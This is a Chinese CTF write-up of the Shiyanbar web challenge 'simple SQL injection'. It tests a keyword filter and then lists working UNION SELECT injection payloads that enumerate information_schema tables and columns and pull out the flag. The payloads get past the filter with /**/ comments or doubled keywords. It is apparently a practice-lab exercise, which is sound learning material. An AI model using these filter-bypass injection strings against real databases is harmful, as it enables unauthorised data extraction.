实验吧web-中-简单的sql注入
页面显示:到底过滤了什么东西?
所以我们先试试到底是过滤了什么
1 显示正常
1' 不正常
(直接输入的关键字均会被过滤)
1 union select 显示:1 select
1 union select table_name 显示:1 table_name
1 unionunion select 显示:1 unionselect
1 unionunion select table_name 显示:1 uniontable_name
我们可以发现会过滤掉关键字,但是好像只能过滤掉后面有空格的关键字(会将其后面的空格一并过滤掉)
于是我们可以想办法绕过这个空格:
策略一:用++或/**/绕过(较简单,因为这样关键字不会被过滤)
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
后面单独的'用了闭合掉一个'号
最下面看到flag表,于是再用1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag 却发现column_name和information_schema.columns被过滤掉了
所以用:1'/**/union/**/select/**/columncolumn_name_name/**/from/**/informationinformation_schema.columns_schema.columns/**/where/**/table_name='flag 得到
得到flag这个column,再查找其内容:1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
就拿到flag了。
策略二:双写加双空格绕过(用的上面的图)
1.首先,暴表:1' unionunion selectselect table_name fromfrom information_schema.tables wherewhere '1'='1
2.爆字段:这个和上面一样有过滤
1' unionunion selectselect columncolumn_name_name fromfrom information_schemainformation_schema.columns.columns wherewhere table_name='flag
3.爆内容:1' unionunion selectselect flag fromfrom flag wherewhere '1'='1
就拿到flag了。
最新文章
- Linux实战教学笔记06:Linux系统基础优化
- 各种Js封装
- python基础之dict、set及字符
- spring,maven,dubbo配置
- 在Linux下安装aws命令行操作
- HWM的实验
- 导出EXCEL数据时防止数值变科学计数的办法
- IOS APP配置.plist汇总(转自coolweather )
- java设计模式--结构型模式--代理模式
- 04747_Java语言程序设计(一)_第2章_运算和语句
- Java中有关构造函数的一道笔试题解析
- 邮箱自动完成(jquary效果)
- 缺少libssl.so.4文件
- 魔力Python--经典SQL语法大全
- 第一篇 - bsp抓取python中文开发者社区中的所有高级教程
- 开发了5年android,我开始了go学习之旅
- 快速部署Apache服务静态网站
- VB播放声音
- 广搜 poj3278 poj1426 poj3126
- python-day47--pymysql模块